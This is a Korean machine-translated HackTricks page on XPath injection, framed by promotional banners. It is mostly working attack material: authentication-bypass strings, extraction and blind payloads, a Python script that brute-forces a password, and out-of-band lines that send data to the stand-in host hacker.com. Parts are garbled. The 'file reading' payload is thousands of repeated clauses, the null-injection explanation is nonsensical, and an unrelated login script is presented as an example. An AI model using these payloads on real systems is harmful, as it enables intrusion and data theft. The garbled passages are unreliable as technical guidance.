hacktricks/pentesting-web/xpath-injection.md
2024-02-10 21:30:13 +00:00

27 KiB

XPATH 인젝션

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

경험있는 해커 및 버그 바운티 헌터와 소통하려면 HackenProof Discord 서버에 참여하세요!

해킹 통찰력
해킹의 스릴과 도전을 다루는 콘텐츠와 상호 작용하세요.

실시간 해킹 뉴스
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.

최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 최신 정보를 받아보세요.

Discord에 참여하여 최고의 해커들과 협업을 시작하세요!

기본 구문

XPath Injection이라는 공격 기법은 사용자 입력을 기반으로 XPath (XML Path Language) 쿼리를 형성하는 응용 프로그램을 악용하는 데 사용됩니다.

노드 설명

XML 문서에서 다양한 노드를 선택하기 위해 표현식이 사용됩니다. 이러한 표현식과 그 설명은 다음과 같습니다:

  • nodename: "nodename"이라는 이름의 모든 노드가 선택됩니다.
  • /: 루트 노드에서 선택됩니다.
  • //: 현재 노드에서 선택된 위치에 관계없이 일치하는 노드가 선택됩니다.
  • .: 현재 노드가 선택됩니다.
  • ..: 현재 노드의 부모가 선택됩니다.
  • @: 속성이 선택됩니다.

XPath 예제

경로 표현식과 그 결과에 대한 예제는 다음과 같습니다:

  • bookstore: "bookstore"라는 이름의 모든 노드가 선택됩니다.
  • /bookstore: 루트 요소인 bookstore가 선택됩니다. 요소의 절대 경로는 슬래시 (/)로 시작하는 경로로 표시됩니다.
  • bookstore/book: bookstore의 자식인 모든 book 요소가 선택됩니다.
  • //book: 문서의 모든 book 요소가 선택됩니다. 위치에 관계없이 선택됩니다.
  • bookstore//book: bookstore 요소의 하위에 있는 모든 book 요소가 선택됩니다. 위치에 관계없이 선택됩니다.
  • //@lang: lang이라는 이름의 모든 속성이 선택됩니다.

술어의 활용

술어는 선택을 세분화하는 데 사용됩니다:

  • /bookstore/book[1]: bookstore 요소의 첫 번째 book 요소가 선택됩니다. [0]으로 첫 번째 노드를 인덱싱하는 IE 버전 5에서 9까지의 해결책은 JavaScript를 통해 SelectionLanguage를 XPath로 설정하는 것입니다.
  • /bookstore/book[last()]: bookstore 요소의 마지막 book 요소가 선택됩니다.
  • /bookstore/book[last()-1]: bookstore 요소의 끝에서 두 번째 book 요소가 선택됩니다.
  • /bookstore/book[position()<3]: bookstore 요소의 첫 두 개의 book 요소가 선택됩니다.
  • //title[@lang]: lang 속성이 있는 모든 title 요소가 선택됩니다.
  • //title[@lang='en']: "lang" 속성 값이 "en"인 모든 title 요소가 선택됩니다.
  • /bookstore/book[price>35.00]: 가격이 35.00보다 큰 bookstore의 모든 book 요소가 선택됩니다.
  • /bookstore/book[price>35.00]/title: 가격이 35.00보다 큰 bookstore의 book 요소의 모든 title 요소가 선택됩니다.

알 수 없는 노드 처리

와일드카드는 알 수 없는 노드와 일치하는 데 사용됩니다:

  • *: 모든 요소 노드와 일치합니다.
  • @*: 모든 속성 노드와 일치합니다.
  • node(): 모든 종류의 노드와 일치합니다.

추가 예제는 다음과 같습니다:

  • /bookstore/*: bookstore 요소의 모든 자식 요소 노드를 선택합니다.
  • //*: 문서의 모든 요소를 선택합니다.
  • //title[@*]: 어떤 종류의 속성이 하나 이상 있는 모든 title 요소를 선택합니다.

예제

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

정보에 접근하기

XPath Injection은 웹 응용 프로그램에서 발생하는 보안 취약점 중 하나입니다. XPath 언어를 사용하여 XML 데이터를 쿼리하는 경우, 사용자 입력을 적절하게 처리하지 않으면 XPath 쿼리에 삽입된 악성 코드로 인해 공격자가 원하는 정보에 접근할 수 있습니다.

XPath Injection을 통해 정보에 접근하기 위해 다음 단계를 따릅니다:

  1. 취약한 웹 응용 프로그램 식별: XPath Injection을 시도하기 전에 취약한 웹 응용 프로그램을 식별해야 합니다. 일반적으로 웹 응용 프로그램의 URL, 폼 입력 또는 쿼리 매개 변수에서 XPath 쿼리를 사용하는 부분을 찾을 수 있습니다.

  2. 취약점 분석: 취약한 부분을 찾았으면 해당 부분을 분석하여 XPath 쿼리의 삽입 지점을 확인해야 합니다. 입력 필드, URL 매개 변수 또는 쿼리 문자열에서 사용자 입력이 XPath 쿼리에 직접 삽입되는지 확인합니다.

  3. 악성 XPath 쿼리 작성: 삽입 지점을 확인한 후, 악성 XPath 쿼리를 작성해야 합니다. 이 쿼리는 원하는 정보를 추출하기 위해 XPath 함수와 연산자를 사용하여 구성됩니다.

  4. 정보 추출: 작성한 악성 XPath 쿼리를 삽입 지점에 삽입하여 정보를 추출합니다. 이를 통해 공격자는 데이터베이스의 기밀 정보를 탈취하거나, 인증 우회를 시도하거나, 시스템의 기능을 조작할 수 있습니다.

XPath Injection을 통해 정보에 접근하는 것은 웹 응용 프로그램의 취약점을 악용하는 것이므로, 개발자는 사용자 입력을 적절하게 검증하고 이스케이프 처리하여 XPath Injection 공격을 방지해야 합니다.

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

스키마 식별 및 도용

XPath Injection은 웹 응용 프로그램에서 발생하는 보안 취약점 중 하나입니다. XPath 언어를 사용하여 XML 문서를 쿼리하는 경우, 사용자 입력을 적절하게 처리하지 않으면 XPath 쿼리에 삽입된 악성 코드로 인해 공격자가 원하는 정보를 도용할 수 있습니다.

XPath Injection을 통해 스키마를 식별하고 도용하는 과정은 다음과 같습니다:

  1. 취약한 웹 응용 프로그램을 식별합니다.
  2. 입력 필드에 악성 XPath 쿼리를 삽입합니다.
  3. 삽입한 XPath 쿼리를 통해 원하는 정보를 추출합니다.
  4. 추출한 정보를 공격자가 접근 가능한 위치로 전송합니다.

XPath Injection은 웹 응용 프로그램의 취약점을 이용하여 스키마를 도용하는 강력한 공격 기법입니다. 따라서 개발자는 사용자 입력을 적절하게 필터링하고 이스케이프 처리하여 XPath Injection 공격으로부터 보호해야 합니다.

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

인증 우회

쿼리 예시:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

사용자 및 비밀번호에서 OR 우회 (두 값이 동일한 경우)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

null 주입 악용

Null 주입은 XPath 쿼리에서 사용되는 특수한 기법입니다. 이 기법은 주입할 수 있는 문자열에 null 문자를 삽입하여 XPath 쿼리를 변조하는 것을 의미합니다. 이를 통해 악의적인 사용자는 원하는 결과를 얻거나 시스템에 대한 정보를 노출시킬 수 있습니다.

Null 주입은 주로 문자열 연결 연산자인 concat()을 이용하여 수행됩니다. 예를 들어, 다음과 같은 XPath 쿼리가 있다고 가정해 봅시다.

//user[@username='admin' and password='admin']

이 쿼리를 null 주입을 이용하여 변조하면 다음과 같이 될 수 있습니다.

//user[@username='admin' and password=concat('a', 'dmin')]

위의 예시에서는 concat() 함수를 사용하여 admin 문자열을 admin으로 분리하고 다시 연결하여 admin을 만들어냅니다. 이렇게 함으로써 password 필드에 대한 조건을 우회할 수 있습니다.

Null 주입은 XPath 쿼리에서 발생할 수 있는 취약점을 악용하는 기법 중 하나입니다. 따라서 웹 응용 프로그램의 보안 취약점을 확인하고 이를 방지하기 위해 적절한 대응책을 마련하는 것이 중요합니다.

Username: ' or 1]%00

사용자 이름 또는 비밀번호에서의 이중 OR (취약한 필드가 하나만 있는 경우 유효함)

중요: "and"는 첫 번째로 수행되는 연산임을 주의하세요.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

문자열 추출

출력에는 문자열이 포함되어 있으며 사용자는 값을 조작하여 검색할 수 있습니다:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

블라인드 공격

값의 길이를 얻고 비교를 통해 추출하기:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

파이썬 예제

import requests

def login(username, password):
    url = "http://example.com/login"
    payload = {
        "username": username,
        "password": password
    }
    response = requests.post(url, data=payload)
    return response.text

def get_user_data(username):
    url = f"http://example.com/user/{username}"
    response = requests.get(url)
    return response.text

def main():
    username = input("Enter username: ")
    password = input("Enter password: ")

    login_response = login(username, password)
    if "Login successful" in login_response:
        user_data = get_user_data(username)
        print(user_data)
    else:
        print("Login failed")

if __name__ == "__main__":
    main()

이 예제는 파이썬을 사용하여 웹 사이트에 로그인하고 사용자 데이터를 가져오는 간단한 기능을 보여줍니다. login 함수는 주어진 사용자 이름과 비밀번호를 사용하여 로그인 요청을 보내고, get_user_data 함수는 주어진 사용자 이름을 사용하여 사용자 데이터를 가져옵니다. main 함수에서는 사용자로부터 사용자 이름과 비밀번호를 입력받고, 로그인이 성공하면 사용자 데이터를 출력합니다. 로그인이 실패하면 "Login failed"를 출력합니다.

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

파일 읽기

XPath 삽입 공격을 사용하여 웹 애플리케이션에서 파일을 읽을 수 있습니다. 이를 통해 시스템 파일 시스템에 액세스하여 중요한 정보를 노출시킬 수 있습니다.

기본 구문

XPath 쿼리를 사용하여 파일을 읽으려면 다음과 같은 구문을 사용합니다.

' or 1=1 or name()='username' or 'password'='password' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a' or 'a'='a
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Exploitation

OOB Exploitation (OOB 악용)

Out-of-Band (OOB) 악용은 XPath 삽입 취약점을 통해 원격 서버로 데이터를 노출시키는 기술입니다. 이 기술은 웹 응용 프로그램에서 XPath 쿼리를 실행하는 과정에서 발생하는 취약점을 이용합니다. OOB 악용은 웹 응용 프로그램이 외부 서버와 통신하는 경우에 특히 유용합니다.

OOB Exploitation Techniques (OOB 악용 기술)

  1. OOB 데이터 전송: OOB 악용을 위해 데이터를 외부 서버로 전송하는 방법입니다. 이를 통해 공격자는 원격 서버로 데이터를 노출시킬 수 있습니다.

  2. OOB 채널 설정: OOB 악용을 위해 데이터를 수신하는 채널을 설정하는 방법입니다. 이를 통해 공격자는 원격 서버로부터 데이터를 수신할 수 있습니다.

OOB Exploitation Tools (OOB 악용 도구)

  1. Burp Suite: OOB 악용을 위해 Burp Collaborator를 사용할 수 있습니다. 이를 통해 OOB 데이터 전송 및 OOB 채널 설정을 수행할 수 있습니다.

  2. XXEinjector: OOB 악용을 위해 XXEinjector 도구를 사용할 수 있습니다. 이 도구는 OOB 데이터 전송 및 OOB 채널 설정을 지원합니다.

OOB Exploitation Steps (OOB 악용 단계)

  1. 취약한 웹 응용 프로그램 식별: 취약한 웹 응용 프로그램을 식별하고 적절한 OOB 악용 기술을 선택합니다.

  2. XPath 삽입 취약점 확인: 웹 응용 프로그램에서 XPath 삽입 취약점을 확인합니다.

  3. OOB 데이터 전송 또는 OOB 채널 설정: 선택한 OOB 악용 기술을 사용하여 데이터를 전송하거나 채널을 설정합니다.

  4. 데이터 노출 확인: 원격 서버로부터 데이터를 노출시키는지 확인합니다.

OOB Exploitation Countermeasures (OOB 악용 대응책)

  1. 입력 유효성 검사: 웹 응용 프로그램에서 입력 데이터의 유효성을 검사하여 XPath 삽입 취약점을 방지합니다.

  2. 웹 응용 프로그램 보안 강화: 웹 응용 프로그램의 보안을 강화하여 OOB 악용을 어렵게 만듭니다.

  3. 업데이트 및 패치: 웹 응용 프로그램 및 관련 라이브러리를 최신 버전으로 업데이트하고 패치합니다.

  4. 웹 방화벽 설정: 웹 방화벽을 설정하여 악의적인 OOB 데이터 전송 및 OOB 채널 설정을 차단합니다.

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

자동 도구

참고 자료

HackenProof Discord 서버에 참여하여 경험 많은 해커와 버그 바운티 헌터와 소통하세요!

해킹 인사이트
해킹의 스릴과 도전을 다루는 콘텐츠에 참여하세요.

실시간 해킹 뉴스
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.

최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아보세요.

**Discord**에 참여하여 최고의 해커들과 협업을 시작하세요!

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법: